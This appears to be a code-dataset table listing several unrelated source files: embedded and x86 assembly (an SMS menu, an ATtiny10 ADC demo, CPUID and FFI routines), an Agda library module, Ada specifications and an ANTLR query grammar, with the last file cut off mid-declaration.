max_stars_repo_path
stringlengths 4
261
| max_stars_repo_name
stringlengths 6
106
| max_stars_count
int64 0
38.8k
| id
stringlengths 1
6
| text
stringlengths 7
1.05M
|
---|---|---|---|---|
data/screens/main_menu_data.asm
|
SavagePencil/TriloTrackerSMSReplayerApp
| 0 |
172412
|
<reponame>SavagePencil/TriloTrackerSMSReplayerApp
.IFNDEF __MAIN_MENU_DATA_ASM__
.DEFINE __MAIN_MENU_DATA_ASM__
.SECTION "Mode - Main Menu Data" FREE
Mode_MainMenu_Data:
; Palette entries
; Font
.DEFINE MAIN_MENU_DATA_FONT_PAL_BG 0 EXPORT
.DEFINE MAIN_MENU_DATA_FONT_PAL_FG 1 EXPORT
; Buttons
.DEFINE MAIN_MENU_DATA_UI_PAL_ENTRY_BUTTON_BLACK 0 EXPORT
.DEFINE MAIN_MENU_DATA_UI_PAL_ENTRY_BUTTON_STATE_DISABLED 4 EXPORT
.DEFINE MAIN_MENU_DATA_UI_PAL_ENTRY_BUTTON_STATE_NORMAL 5 EXPORT
.DEFINE MAIN_MENU_DATA_UI_PAL_ENTRY_BUTTON_STATE_SELECTED 6 EXPORT
; Buttons (disabled uses BG pal, active uses Sprite pal)
.DEFINE MAIN_MENU_DATA_BUTTON_PAL_BG 2 EXPORT
.DEFINE MAIN_MENU_DATA_BUTTON_PAL_FG 3 EXPORT
; Default border entry
.DEFINE MAIN_MENU_BORDER_PAL_ENTRY VDP_PALETTE_SPRITE_PALETTE_INDEX + 0 EXPORT
; Profiler entries (these use the sprite palette)
.DEFINE MAIN_MENU_PROFILER_PAL_ENTRY_VBLANK VDP_PALETTE_SPRITE_PALETTE_INDEX + 15 EXPORT
.DEFINE MAIN_MENU_PROFILER_PAL_ENTRY_UPDATE VDP_PALETTE_SPRITE_PALETTE_INDEX + 14 EXPORT
.DEFINE MAIN_MENU_PROFILER_PAL_ENTRY_RENDER_PREP VDP_PALETTE_SPRITE_PALETTE_INDEX + 13 EXPORT
@Palette:
; Font entries
.db VDP_PALETTE_BG_PALETTE_INDEX + MAIN_MENU_DATA_FONT_PAL_BG, $00
.db VDP_PALETTE_BG_PALETTE_INDEX + MAIN_MENU_DATA_FONT_PAL_FG, (3 << VDP_PALETTE_RED_SHIFT) | (3 << VDP_PALETTE_GREEN_SHIFT) | (3 << VDP_PALETTE_BLUE_SHIFT)
; Buttons
; BG == disabled
.db VDP_PALETTE_BG_PALETTE_INDEX + MAIN_MENU_DATA_BUTTON_PAL_BG, $00
.db VDP_PALETTE_BG_PALETTE_INDEX + MAIN_MENU_DATA_BUTTON_PAL_FG, (1 << VDP_PALETTE_RED_SHIFT) | (1 << VDP_PALETTE_GREEN_SHIFT) | (1 << VDP_PALETTE_BLUE_SHIFT)
; Sprite == active
.db VDP_PALETTE_SPRITE_PALETTE_INDEX + MAIN_MENU_DATA_BUTTON_PAL_BG, $00
.db VDP_PALETTE_SPRITE_PALETTE_INDEX + MAIN_MENU_DATA_BUTTON_PAL_FG, (3 << VDP_PALETTE_RED_SHIFT) | (3 << VDP_PALETTE_GREEN_SHIFT) | (3 << VDP_PALETTE_BLUE_SHIFT)
; UI entries
.db VDP_PALETTE_BG_PALETTE_INDEX + MAIN_MENU_DATA_UI_PAL_ENTRY_BUTTON_STATE_DISABLED, (1 << VDP_PALETTE_RED_SHIFT) | (1 << VDP_PALETTE_GREEN_SHIFT) | (1 << VDP_PALETTE_BLUE_SHIFT)
.db VDP_PALETTE_BG_PALETTE_INDEX + MAIN_MENU_DATA_UI_PAL_ENTRY_BUTTON_STATE_NORMAL, (2 << VDP_PALETTE_RED_SHIFT) | (2 << VDP_PALETTE_GREEN_SHIFT) | (2 << VDP_PALETTE_BLUE_SHIFT)
.db VDP_PALETTE_BG_PALETTE_INDEX + MAIN_MENU_DATA_UI_PAL_ENTRY_BUTTON_STATE_SELECTED, (3 << VDP_PALETTE_RED_SHIFT) | (3 << VDP_PALETTE_GREEN_SHIFT) | (3 << VDP_PALETTE_BLUE_SHIFT)
; Profiler colors
.db MAIN_MENU_PROFILER_PAL_ENTRY_VBLANK, (2 << VDP_PALETTE_RED_SHIFT) | (2 << VDP_PALETTE_GREEN_SHIFT) | (3 << VDP_PALETTE_BLUE_SHIFT)
.db MAIN_MENU_PROFILER_PAL_ENTRY_UPDATE, (0 << VDP_PALETTE_RED_SHIFT) | (3 << VDP_PALETTE_GREEN_SHIFT) | (3 << VDP_PALETTE_BLUE_SHIFT)
.db MAIN_MENU_PROFILER_PAL_ENTRY_RENDER_PREP, (3 << VDP_PALETTE_RED_SHIFT) | (0 << VDP_PALETTE_GREEN_SHIFT) | (0 << VDP_PALETTE_BLUE_SHIFT)
@@End:
; VRAM Pattern Locs
; Font
.DEFINE MAIN_MENU_DEST_VRAM_PATTERN_INDEX_FONT $0020 EXPORT
; UI
.DEFINE MAIN_MENU_DEST_VRAM_PATTERN_INDEX_BUTTON_PROFILE $0080 EXPORT
.DEFINE MAIN_MENU_DEST_VRAM_PATTERN_INDEX_BUTTON_VISUALIZER $0084 EXPORT
.DEFINE MAIN_MENU_DEST_VRAM_PATTERN_INDEX_BUTTON_LOAD_SONG $0088 EXPORT
.DEFINE MAIN_MENU_DEST_VRAM_PATTERN_INDEX_BUTTON_PLAY $008C EXPORT
.DEFINE MAIN_MENU_DEST_VRAM_PATTERN_INDEX_BUTTON_PAUSE $008C EXPORT
.DEFINE MAIN_MENU_DEST_VRAM_PATTERN_INDEX_BUTTON_FADE $0090 EXPORT
.DEFINE MAIN_MENU_DEST_VRAM_PATTERN_INDEX_BUTTON_TRANSPOSE $0094 EXPORT
@Strings:
@@Title:
.DB "TriloTracker SMS Player"
@@@End:
@@Instructions1:
.DB "D-Pad: Choose Options"
@@@End:
@@Instructions2:
.DB "Btn 1: Cancel Btn 2: Select"
@@@End:
; The main menu waits for the player to release all buttons before accepting input.
.DSTRUCT @DebounceParams INSTANCEOF sDebounceModule_Parameters VALUES
DesiredVal .DB CONTROLLER_JOYPAD_UP_RELEASED | CONTROLLER_JOYPAD_DOWN_RELEASED | CONTROLLER_JOYPAD_LEFT_RELEASED | CONTROLLER_JOYPAD_RIGHT_RELEASED | CONTROLLER_JOYPAD_BUTTON1_RELEASED | CONTROLLER_JOYPAD_BUTTON2_RELEASED
Mask .DB CONTROLLER_JOYPAD_UP_RELEASED | CONTROLLER_JOYPAD_DOWN_RELEASED | CONTROLLER_JOYPAD_LEFT_RELEASED | CONTROLLER_JOYPAD_RIGHT_RELEASED | CONTROLLER_JOYPAD_BUTTON1_RELEASED | CONTROLLER_JOYPAD_BUTTON2_RELEASED
.ENDST
.ENDS
.ENDIF ;__MAIN_MENU_DATA_ASM__
|
static/files/attiny10_analog.asm
|
AlanFromJapan/alanWebSites
| 1 |
19508
|
;
; for using the ADC
; Set up a variable voltage divider and connect
; it to pin 3 (PB1).
; connect an LED to pin 1 (PB0)
; If voltage is more than 2.5V, LED is on
; less than 2.5V, LED is off
;
; variables
.DEF rsreg = r23 ; to save status register
.CSEG ; code section
.ORG $0000 ; the address
; interrupt vectors
rjmp main ; reset vector
reti ; external interrupt 0
reti ; pin change
reti ; timer input capture
reti ; timer overflow
reti ; timer compare match A
reti ; timer compare match B
reti ; analog comparator
reti ; watchdog timer
reti ; Vcc voltage level monitor
rjmp isr_adcconv ; ADC conversion complete
; interrupt service routines
isr_adcconv:
in rsreg, SREG ; save the status register
ldi r16, 0x00
sbic ADCL, 7 ; if the value is less than 1/2*Vcc, set pin 1 low, else high
ldi r16, 1<<PB0
out PORTB, r16
out SREG, rsreg ; restore the status register
reti ; return and enable int
main:
; set up the stack
ldi r16, HIGH(RAMEND)
out SPH, r16
ldi r16, LOW(RAMEND)
out SPL, r16
; setup pins
ldi r16, 1<<PB0 ; PB0 is output
out DDRB, r16
; set up the ADC
; ADCSRA contains [ADEN, ADSC, ADATE, ADIF, ADIE, ADPS2, ADPS1, ADPS0]
; which means: enable, start, trigger enable, int flag, int enable, clock prescaler
;
; ADCSRB contains [-,-,-,-,-,ADTS2, ADTS1, ADTS0]
; means: auto trigger soure 0=free running, 1=analog comparator, 2=int0, 3,5=timer comp. A,B,
; 4=tmer overflow, 6=pinchange int, 7=timer capture
;
; ADMUX contains [-,-,-,-,-,-,MUX1,MUX0]
; sets the channel(pin) for conversion
;
; DIDR0 contains [-,-,-,-,ADC3D to ADC0D]
; disables the digital input, not necessary, but uses less power
;
ldi r17, (1<<ADC1D) ; disable digital on pin 3 PB1
out DIDR0, r17
ldi r18, (1<<MUX0) ; pin 3 PB1
out ADMUX, r18
ldi r19, 0x00 ; free running
out ADCSRB, r19
ldi r20, (1<<ADEN)|(1<<ADSC)|(1<<ADATE)|(1<<ADIE) ; enable, start, trigger, int enable, prescaler=2(min)
out ADCSRA, r20
; enable sleep mode, ADC noise reduction mode
ldi r16, (1<<SM0)|(1<<SE)
out SMCR, r16
sei ; interrupts enabled
; main loop
loop:
sleep ; go to idle mode
nop ; just wait for ADC conversion to finish, everything is done in the interrupt routine
nop
rjmp loop
|
libcpuid/masm-x64.asm
|
beltoforion/math-parser-benchmark-project
| 1 |
24600
|
.code
; procedure exec_cpuid
; Signature: void exec_cpiud(uint32_t *regs)
exec_cpuid Proc
push rbx
push rcx
push rdx
push rdi
mov rdi, rcx
mov eax, [rdi]
mov ebx, [rdi+4]
mov ecx, [rdi+8]
mov edx, [rdi+12]
cpuid
mov [rdi], eax
mov [rdi+4], ebx
mov [rdi+8], ecx
mov [rdi+12], edx
pop rdi
pop rdx
pop rcx
pop rbx
ret
exec_cpuid endp
; procedure cpu_rdtsc
; Signature: void cpu_rdtsc(uint64_t *result)
cpu_rdtsc Proc
push rdx
rdtsc
mov [rcx], eax
mov [rcx+4], edx
pop rdx
ret
cpu_rdtsc endp
; procedure busy_sse_loop
; Signature: void busy_sse_loop(int cycles)
busy_sse_loop Proc
; save xmm6 & xmm7 into the shadow area, as Visual C++ 2008
; expects that we don't touch them:
movups [rsp + 8], xmm6
movups [rsp + 24], xmm7
xorps xmm0, xmm0
xorps xmm1, xmm1
xorps xmm2, xmm2
xorps xmm3, xmm3
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm6, xmm6
xorps xmm7, xmm7
; --
align 16
bsLoop:
; 0:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 1:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 2:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 3:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 4:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 5:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 6:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 7:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 8:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 9:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 10:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 11:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 12:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 13:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 14:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 15:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 16:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 17:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 18:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 19:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 20:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 21:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 22:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 23:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 24:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 25:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 26:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 27:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 28:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 29:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 30:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; 31:
addps xmm0, xmm1
addps xmm1, xmm2
addps xmm2, xmm3
addps xmm3, xmm4
addps xmm4, xmm5
addps xmm5, xmm6
addps xmm6, xmm7
addps xmm7, xmm0
; ----------------------
dec ecx
jnz bsLoop
; restore xmm6 & xmm7:
movups xmm6, [rsp + 8]
movups xmm7, [rsp + 24]
ret
busy_sse_loop endp
END
|
programs/oeis/231/A231683.asm
|
karttu/loda
| 0 |
82003
|
<filename>programs/oeis/231/A231683.asm<gh_stars>0
; A231683: a(n) = Sum_{i=0..n} digsum_8(i)^4, where digsum_8(i) = A053829(i).
; 0,1,17,98,354,979,2275,4676,4677,4693,4774,5030,5655,6951,9352,13448,13464,13545,13801,14426,15722,18123,22219,28780,28861,29117,29742,31038,33439,37535,44096,54096,54352,54977,56273,58674,62770,69331,79331,93972,94597,95893,98294,102390,108951,118951,133592,154328,155624,158025,162121,168682,178682,193323,214059
mov $6,$0
add $6,1
lpb $6,1
clr $0,4
sub $6,1
sub $0,$6
add $2,$0
lpb $0,1
mod $0,8
div $2,8
add $2,$0
lpe
pow $2,4
add $5,$2
lpe
mov $1,$5
|
test/asset/agda-stdlib-1.0/Data/Char/Base.agda
|
omega12345/agda-mode
| 0 |
16474
|
<reponame>omega12345/agda-mode<gh_stars>0
------------------------------------------------------------------------
-- The Agda standard library
--
-- Basic definitions for Characters
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Data.Char.Base where
------------------------------------------------------------------------
-- Re-export the type, and renamed primitives
open import Agda.Builtin.Char public using ( Char )
renaming
-- testing
( primIsLower to isLower
; primIsDigit to isDigit
; primIsAlpha to isAlpha
; primIsSpace to isSpace
; primIsAscii to isAscii
; primIsLatin1 to isLatin1
; primIsPrint to isPrint
; primIsHexDigit to isHexDigit
-- transforming
; primToUpper to toUpper
; primToLower to toLower
-- converting
; primCharToNat to toNat
; primNatToChar to fromNat
)
open import Agda.Builtin.String public using ()
renaming ( primShowChar to show )
|
x86/src/ffi/ffi-sysv-64.asm
|
sneakin/north
| 2 |
164289
|
;; _op loads rax+dict_entry_data ino r11
;; _r11 calls or jmps to the function in r11
;; no suffix loads ToS into r11
bits 64
copy_args_1:
mov rdi, [rsp+ptrsize*2]
ret
copy_args_2:
mov rdi, [rsp+ptrsize*2]
mov rsi, [rsp+ptrsize*3]
ret
copy_args_3:
mov rdi, [rsp+ptrsize*2]
mov rsi, [rsp+ptrsize*3]
mov rdx, [rsp+ptrsize*4]
ret
copy_args_4:
mov rdi, [rsp+ptrsize*2]
mov rsi, [rsp+ptrsize*3]
mov rdx, [rsp+ptrsize*4]
mov rcx, [rsp+ptrsize*5]
ret
copy_args_5:
mov rdi, [rsp+ptrsize*2]
mov rsi, [rsp+ptrsize*3]
mov rdx, [rsp+ptrsize*4]
mov rcx, [rsp+ptrsize*5]
mov r8, [rsp+ptrsize*6]
ret
copy_args_6:
mov rdi, [rsp+ptrsize*2]
mov rsi, [rsp+ptrsize*3]
mov rdx, [rsp+ptrsize*4]
mov rcx, [rsp+ptrsize*5]
mov r8, [rsp+ptrsize*6]
mov r9, [rsp+ptrsize*7]
ret
defop doffi_sysv_64_r11_1
call r11
pop rbx
push rax
push rbx
ret
%define num_args 0
%rep 7
%define op0 d_ffi_sysv_64_r11_%+ num_args %+ _0
%define op1 d_ffi_sysv_64_r11_%+ num_args %+ _1
defop ffi_sysv_64_r11_%+ num_args %+ _0
%if num_args > 0
call copy_args_%+ num_args
%endif
jmp r11
defop ffi_sysv_64_%+ num_args %+ _0
pop rbx
pop r11
push rbx
jmp [op0+dict_entry_code]
defop ffi_sysv_64_op_%+ num_args %+ _0
mov r11, [rax+dict_entry_data]
jmp [op0+dict_entry_code]
defop ffi_sysv_64_r11_%+ num_args %+ _1
%if num_args > 0
call copy_args_%+ num_args
%endif
jmp [d_doffi_sysv_64_r11_1+dict_entry_code]
defop ffi_sysv_64_%+ num_args %+ _1
pop rbx
pop r11
push rbx
jmp [op1+dict_entry_code]
defop ffi_sysv_64_op_%+ num_args %+ _1
mov r11, [rax+dict_entry_data]
jmp [op1+dict_entry_code]
%assign num_args num_args + 1
%endrep
%undef num_args
ffi_sysv_64_r11_table:
dq 0
dq copy_args_1
dq copy_args_2
dq copy_args_3
dq copy_args_4
dq copy_args_5
dq copy_args_6
%define counter 0
%rep 2
defop ffi_sysv_64_r11_7_%+ counter ; needs testing
call copy_args_6
mov rbx, [rsp+ptrsize*7]
call r11
%if counter != 0
push rax
%endif
ret
defop ffi_sysv_64_7_%+ counter
pop rbx
pop r11
push rbx
jmp [d_ffi_sysv_64_r11_7_%+ counter +dict_entry_code]
defop ffi_sysv_64_op_7_%+ counter
mov r11, [rax+dict_entry_data]
jmp [d_ffi_sysv_64_r11_7_%+ counter +dict_entry_code]
defop ffi_sysv_64_r11_n_%+ counter
mov r15, rsp
mov rax, [rsp+ptrsize*1] ; num args
cmp rax, 6
jle .predispatch
;; more than 6 arguments
pop r14
call copy_args_6
push r14
;; copy rest args to stack
;; start with the highest argument on stack
mov rax, [rsp+ptrsize*1]
mov r14, rax
add r14, 1
imul r14, ptrsize
add r14, rsp
.copyloop:
cmp rax, 6
je .exec
mov r13, [r14]
push r13
sub rax, 1
sub r14, ptrsize
jmp .copyloop
.predispatch:
cmp rax, 0
je .exec
.dispatch:
pop r13 ; return address
call [ffi_sysv_64_r11_table + rax * ptrsize]
push r13
jmp .exec
.exec:
mov rax, 0 ; number of vector args
call r11
mov rsp, r15
%if counter != 0
push rax
%endif
ret
defop ffi_sysv_64_n_%+ counter
pop rbx
pop r11
push rbx
jmp [d_ffi_sysv_64_r11_n_%+ counter +dict_entry_code]
defop ffi_sysv_64_op_n_%+ counter
mov r11, [rax+dict_entry_data]
jmp [d_ffi_sysv_64_r11_n_%+ counter +dict_entry_code]
%assign counter counter + 1
%endrep
|
src/gen-commands.ads
|
Letractively/ada-gen
| 0 |
15706
|
<reponame>Letractively/ada-gen<filename>src/gen-commands.ads
-----------------------------------------------------------------------
-- gen-commands -- Commands for dynamo
-- Copyright (C) 2011, 2012 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Strings.Unbounded;
with Ada.Containers.Ordered_Maps;
with Gen.Generator;
package Gen.Commands is
-- ------------------------------
-- Command
-- ------------------------------
type Command is abstract tagged private;
type Command_Access is access all Command'Class;
-- Execute the command with the arguments.
procedure Execute (Cmd : in Command;
Generator : in out Gen.Generator.Handler) is abstract;
-- Write the help associated with the command.
procedure Help (Cmd : in Command;
Generator : in out Gen.Generator.Handler) is abstract;
-- Write the command usage.
procedure Usage (Cmd : in Command);
-- Print a message on the standard output.
procedure Print (Cmd : in Command;
Message : in String);
-- ------------------------------
-- Help Command
-- ------------------------------
type Help_Command is new Command with private;
-- Execute the command with the arguments.
procedure Execute (Cmd : in Help_Command;
Generator : in out Gen.Generator.Handler);
-- Write the help associated with the command.
procedure Help (Cmd : in Help_Command;
Generator : in out Gen.Generator.Handler);
-- Register the command under the given name.
procedure Add_Command (Cmd : in Command_Access;
Name : in String);
-- Find the command having the given name.
function Find_Command (Name : in String) return Command_Access;
-- Print dynamo usage
procedure Usage;
-- Print dynamo short usage.
procedure Short_Help_Usage;
private
package Command_Maps is
new Ada.Containers.Ordered_Maps (Key_Type => Ada.Strings.Unbounded.Unbounded_String,
Element_Type => Command_Access,
"<" => Ada.Strings.Unbounded."<");
type Command is abstract tagged null record;
type Help_Command is new Command with null record;
end Gen.Commands;
|
core/src/main/antlr4/com/elepy/dao/parser/EleQuery.g4
|
RyanSusana/elepy
| 128 |
1933
|
grammar EleQuery;
query
:
expression (limitSetting | pageNumberSetting | skipSetting)* EOF
;
limitSetting: LIMIT EQUALS? NUMERIC;
skipSetting: SKIP_ROW EQUALS? NUMERIC;
pageNumberSetting: PAGE_NUMBER EQUALS? NUMERIC;
expression
: '(' expression ')'
| expression booleanOperator expression
| filter
| searchQuery
;
booleanOperator: AND | OR;
filter: baseFilter | textFilter | numberFilter ;
propertyName: PROPERTY_NAME | ALPHA_NUMERIC_TERM;
searchQuery: validSearchTerm+ ;
validSearchTerm: STRING | (NON_ALPHA_NUMERIC_CHAR|LETTER|DIGIT)+ | ALPHA_NUMERIC_TERM | NUMERIC ;
textFilter: propertyName textFilterType textValue;
textFilterType: NOT_EQUALS | EQUALS | CONTAINS | STARTS_WITH;
textValue: validSearchTerm+;
numberFilter: propertyName numberFilterType numberValue;
numberFilterType: GREATER_THAN_OR_EQUALS | GREATER_THAN | LESSER_THAN_OR_EQUALS | LESSER_THAN ;
numberValue: NUMERIC;
baseFilter: propertyName baseFilterType baseValue;
baseFilterType: EQUALS | NOT_EQUALS;
baseValue: validSearchTerm+ ;
SKIP_ROW: S K I P;
LIMIT: L I M I T | P A G E [ ]* S I Z E;
PAGE_NUMBER: P A G E [ ]* N U M B E R;
GREATER_THAN_OR_EQUALS: '>=' | G T E;
GREATER_THAN: '>' | G T;
LESSER_THAN_OR_EQUALS: '<=' | L T E;
LESSER_THAN: '<' | L T;
NOT_EQUALS: '!=' | '<>' | N E (Q)? | N O T [ ]* E Q U A L (S)? ([ ]* T O)? ;
EQUALS: '=' | E Q (U A L S?)?;
CONTAINS: C O N T A I N S | I N;
STARTS_WITH: S T A R T S [ ]* W I T H | S W;
AND: A N D| '&&' ;
OR: O R | '||';
PROPERTY_NAME: (LETTER ALPHA_NUMERIC_TERM ('.')+ ALPHA_NUMERIC_TERM)+;
NUMERIC: FLOAT | INTEGER;
STRING: DQ_STRING | SQ_STRING {
String s = getText();
s = s.substring(1, s.length() - 1); // strip the leading and trailing quotes
setText(s);
};
DQ_STRING: '"'~('"')+?'"';
SQ_STRING: '\''~('\'')+?'\'';
ALPHA_NUMERIC_TERM: (LETTER|DIGIT)+;
FLOAT: DIGIT* ('.') DIGIT+;
INTEGER: DIGIT+;
DIGIT: [0-9];
LETTER: [a-zA-Z];
fragment A : [aA];
fragment B : [bB];
fragment C : [cC];
fragment D : [dD];
fragment E : [eE];
fragment F : [fF];
fragment G : [gG];
fragment H : [hH];
fragment I : [iI];
fragment J : [jJ];
fragment K : [kK];
fragment L : [lL];
fragment M : [mM];
fragment N : [nN];
fragment O : [oO];
fragment P : [pP];
fragment Q : [qQ];
fragment R : [rR];
fragment S : [sS];
fragment T : [tT];
fragment U : [uU];
fragment V : [vV];
fragment W : [wW];
fragment X : [xX];
fragment Y : [yY];
fragment Z : [zZ];
//All whitespace is skipped
WS: [ \t\r\n]+ -> skip;
NON_ALPHA_NUMERIC_CHAR: (.)+? -> skip;
|
src/fltk-widgets.ads
|
micahwelf/FLTK-Ada
| 1 |
2605
|
<gh_stars>1-10
with
FLTK.Images;
limited with
FLTK.Widgets.Groups.Windows;
private with
System.Address_To_Access_Conversions,
Ada.Unchecked_Conversion,
Interfaces.C;
package FLTK.Widgets is
type Widget is new Wrapper with private;
type Widget_Reference (Data : not null access Widget'Class) is limited null record
with Implicit_Dereference => Data;
type Widget_Callback is access procedure
(Item : in out Widget'Class);
type Callback_Flag is private;
function "+" (Left, Right : in Callback_Flag) return Callback_Flag;
Call_Never : constant Callback_Flag;
When_Changed : constant Callback_Flag;
When_Interact : constant Callback_Flag;
When_Release : constant Callback_Flag;
When_Enter_Key : constant Callback_Flag;
package Forge is
function Create
(X, Y, W, H : in Integer;
Text : in String)
return Widget;
end Forge;
procedure Activate
(This : in out Widget);
procedure Deactivate
(This : in out Widget);
function Is_Active
(This : in Widget)
return Boolean;
function Is_Tree_Active
(This : in Widget)
return Boolean;
procedure Set_Active
(This : in out Widget;
To : in Boolean);
function Has_Changed
(This : in Widget)
return Boolean;
procedure Set_Changed
(This : in out Widget;
To : in Boolean);
function Is_Output_Only
(This : in Widget)
return Boolean;
procedure Set_Output_Only
(This : in out Widget;
To : in Boolean);
function Is_Visible
(This : in Widget)
return Boolean;
function Is_Tree_Visible
(This : in Widget)
return Boolean;
procedure Set_Visible
(This : in out Widget;
To : in Boolean);
function Has_Visible_Focus
(This : in Widget)
return Boolean;
procedure Set_Visible_Focus
(This : in out Widget;
To : in Boolean);
function Take_Focus
(This : in out Widget)
return Boolean;
function Takes_Events
(This : in Widget)
return Boolean;
function Get_Background_Color
(This : in Widget)
return Color;
procedure Set_Background_Color
(This : in out Widget;
To : in Color);
function Get_Selection_Color
(This : in Widget)
return Color;
procedure Set_Selection_Color
(This : in out Widget;
To : in Color);
function Parent
(This : in Widget)
return access FLTK.Widgets.Groups.Group'Class;
function Contains
(This : in Widget;
Item : in Widget'Class)
return Boolean;
function Inside
(This : in Widget;
Parent : in Widget'Class)
return Boolean;
function Nearest_Window
(This : in Widget)
return access FLTK.Widgets.Groups.Windows.Window'Class;
function Top_Window
(This : in Widget)
return access FLTK.Widgets.Groups.Windows.Window'Class;
function Top_Window_Offset
(This : in Widget;
Offset_X, Offset_Y : out Integer)
